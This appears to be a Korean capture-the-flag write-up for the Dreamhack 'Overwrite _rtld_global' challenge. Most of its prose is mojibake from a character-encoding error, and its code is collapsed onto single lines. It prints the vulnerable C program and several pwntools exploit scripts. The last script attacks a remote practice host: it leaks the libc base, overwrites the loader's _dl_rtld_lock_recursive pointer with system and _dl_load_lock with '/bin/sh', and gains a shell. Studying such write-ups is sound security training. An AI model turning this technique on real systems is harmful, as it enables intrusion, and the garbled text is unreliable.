Overwrite _rtld_global
Overwrite _rtld_global
ํ๋ก๊ทธ๋จ์์ ๋ฆฌํด ๋ช ๋ น์ด๋ฅผ ์ํํ๋ฉด lib์ ๋ก๋์์ ๋ค์ํ ํจ์ ํธ์ถ!
12345678910111213141516171819202122232425262728293031323334353637 // Name: ow_rtld.c// Compile: gcc -o ow_rtld ow_rtld.c#include <stdio.h>#include <stdlib.h>void init() {setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);}int main() {long addr;long data;int idx;init();printf("stdout: %p\n", stdout);while (1) {printf("> ");scanf("%d", &idx);switch (idx) {case 1:printf("addr: ");scanf("%ld", &addr);printf("data: ");scanf("%ld", &data);*(long long *)addr = data;break;default:return 0;}}return 0;}cs
๋ชจ๋ ๋ณดํธ๊ธฐ๋ฒ์ด ์ ์ฉ๋ ๋ชจ์ต ์๋ฌด๋๋ ๋ก๋๋ฅผ ์ฐํํ์ฌ ์คํํด๋ด์ผ๊ฒ ๋ค์
exploit ์ค๊ณ
lib ๋ฐ loder base addr ๊ณ์ฐ
์์ ์์ ์ ๊ณตํ stdout ์ฃผ์๋ฅผ ํตํด lib_base๋ฅผ ๊ตฌํ๊ณ "/lib64/ld-linux-x86-64.so.2"๊ฐ
๋งตํ๋ ๋ก๋์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ์์๋ด
์๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ก๋๊ฐ ๋งตํ๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ ์ผ์ ํ๊ธฐ ๋๋ฌธ์ ๋๋ฒ๊น
์ ํตํด
๊ฐ๊ฒฉ์ ์์๋ด๊ณ ์คํ์
์ ๊ณ์ฐํด ์์๋ด
์๋ค.
_rtld_global ๊ตฌ์กฐ์ฒด ๊ณ์ฐ
๋ก๋์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ์์๋๋ค๋ฉด, rtld_global ๊ตฌ์กฐ์ฒด์ ์ฌ๋ณผ ์ฃผ์๋ฅผ ๋ํด ํด๋น ๊ตฌ์กฐ์ฒด์ ์ฃผ์๋ฅผ ์์๋ด๊ณ ,
๋งด๋ฒ ๋ณ์์ธ _dl_load_lock๊ณผ _dl_rtld_lock_recursiveํจ์ ํฌ์ธํฐ์ ์ฃผ์๋ฅผ ๊ตฌํฉ๋๋ค.
_rtld_global ๊ตฌ์กฐ์ฒด ์กฐ์
ํ๋ก๊ทธ๋จ์ ์ข
๋ฃํ๋ ๊ณผ์ ์์ _rtld_global ๊ตฌ์กฐ์ฒด์ _dl_rtld_lock_recursiveํจ์ํฌ์ธํฐ๋ฅผ ํธ์ถ
๋ฐ๋ผ์ dl_load_lock์ "/bin/sh"๋๋ "sh" ๋ฌธ์์ด์ ์ฝ์
ํ๊ณ ,
dl_rtld_lock_recursive๋ฅผ system ํจ์๋ก ๋ฎ์ด์ฐ๋ฉด ์
ธ์ ํ๋ํ ์ ์์ต๋๋ค.
Exploit code
1. libc, loader_base ๊ณ์ฐ
์์ ์์ ์ฃผ์ด์ง stdout ๋ผ์ด๋ธ ์ฃผ์๋ฅผ ์ด์ฉํด ์ฝ๊ฒ lib_base ์ฃผ์๋ ์ด์ ์ ํ๋๊ฒ์ฒ๋ผ ์ฝ๊ฒ IO_2_1_stdout
์ฌ๋ณผ ์ฃผ์๋ฅผ ๋นผ ์ฝ๊ฒ ์์๋ด๋ฉฐ, ๋ก๋์ ์ฃผ์๋ ๋๋ฒ๊น
์ ํตํด lib_base์ ๋นผ ๊ฒฐ๊ณผ๋ฅผ ๊ตฌํ๋ฉด.. ์ฝ๊ฒ ๊ตฌํฉ๋๋ค.
๋ง์คํฐ ์นด๋๋ฆฌ๋ main ํจ์๊ฐ ํธ์ถ์ ์ ๋๋ค์ ์นด๋๋ฆฌ๋ฅผ ์ฐ๋ ๋๋ง๋ค ์ ์ญ ๋ณ์๋ก ์ฌ์ฉ๋๋
TLS์ ์ ์ฅ ์ด๋ ๋ชจ๋ ์ฐ๋ ๋๊ฐ ํ๋์ ์นด๋๋ฆฌ ๊ฐ์ ์ฌ์ฉํ๊ธฐ ์ํด์์ด๋ค.
1234567891011121314151617 # Name: ow_rtld.pyfrom pwn import *p = process("./ow_rtld")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')ld = ELF('/lib64/ld-linux-x86-64.so.2')p.recvuntil(": ")stdout = int(p.recvuntil("\n"),16)libc_base = stdout - libc.symbols['_IO_2_1_stdout_']ld_base = libc_base + 0x3f1000print(hex(libc_base))print(hex(ld_base))p.interactive()cs
_rtld_global ์ฃผ์ ๊ณ์ฐ
lib_base์ loader_base ์ฃผ์๋ฅผ ์์๋ค๋ฉด _rtld_global ๊ตฌ์กฐ์ฒด์ ๋ฎ์ด์ธ ๋ฉค๋ฒ ๋ณ์์ ์ฃผ์๋ฅผ ๊ตฌํด๋ด
์๋ค.
์ด ๋ํ ๋๋ฒ๊น
์ ํตํด ์์๋ผ ์ ์์ต๋๋ค.
Dreamhack์์ ์์ฒญํ๋ ํจ์์ธ rtld_lock_recursive๊ฐ ์๋๋ฐ ํ๊ฒฝ ๋ฌธ์ ๊ฐ์์
์ถํ ๊ตฌ์ถ ํ ์ถ๊ฐ์ ์ผ๋ก ์์ ํ๊ฒ ์ต๋๋ค.
123456789101112131415161718 # Name: ow_rtld.pyfrom pwn import *p = process("./ow_rtld")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')ld = ELF('/lib64/ld-linux-x86-64.so.2')p.recvuntil(": ")stdout = int(p.recvuntil("\n"),16)libc_base = stdout - libc.symbols['_IO_2_1_stdout_']ld_base = libc_base + 0x3f1000rtld_global = ld_base + ld.symbols['_rtld_global']dl_load_lock = rtld_global + 2312dl_rtld_lock_recursive = rtld_global + 3840p.interactive()cs
_rtld_global ๊ตฌ์กฐ์ฒด ์กฐ์
๋ฎ์ด์ธ ์ฃผ์๋ฅผ ๋ชจ๋ ์์๋ค๋ฉด _dl_rtld_lock_recursive๋ฅผ lib ํจ์ system์ผ๋ก ๋ฎ์ด์ฐ๊ณ ,
dl_load_lock ์ฃผ์์ 'sh' ๋๋ '/bin/sh' ๋ฌธ์์ด์ ์ฐ๋ฉด ์
ธ์ ํ๋ํ ์ ์์ต๋๋ค.
GitHub - Ex-Origin/ctf-writeups
Contribute to Ex-Origin/ctf-writeups development by creating an account on GitHub.
github.com
์ฌ๊ธฐ์ ํ์ผ ๋ค์ด๋ฐ๊ณ ld๋ฅผ ld = ELF('./ld-2.27.so')๋ก ๋ฐ๊พธ๊ณ ํ๋ฉด...
123456789101112131415161718192021222324252627282930 from pwn import *p = remote("host3.dreamhack.games", 18969)libc = ELF('./libc-2.27.so_18.04.3', checksec=False)ld = ELF('./ld-2.27.so')p.recvuntil(": ")stdout = int(p.recvuntil("\n"),16)libc_base = stdout - libc.symbols['_IO_2_1_stdout_']ld_base = libc_base + 0x3f1000rtld_global = ld_base + ld.symbols['_rtld_global']dl_load_lock = rtld_global + 2312dl_rtld_lock_recursive = rtld_global + 3840system = libc_base + libc.symbols['system']p.sendlineafter("> ", "1")p.sendlineafter("addr: ", str(dl_load_lock))p.sendlineafter("data: ", str(u64("/bin/sh\x00")))p.sendlineafter("> ", "1")p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))p.sendlineafter("data: ", str(system))p.sendlineafter("> ", "2")p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง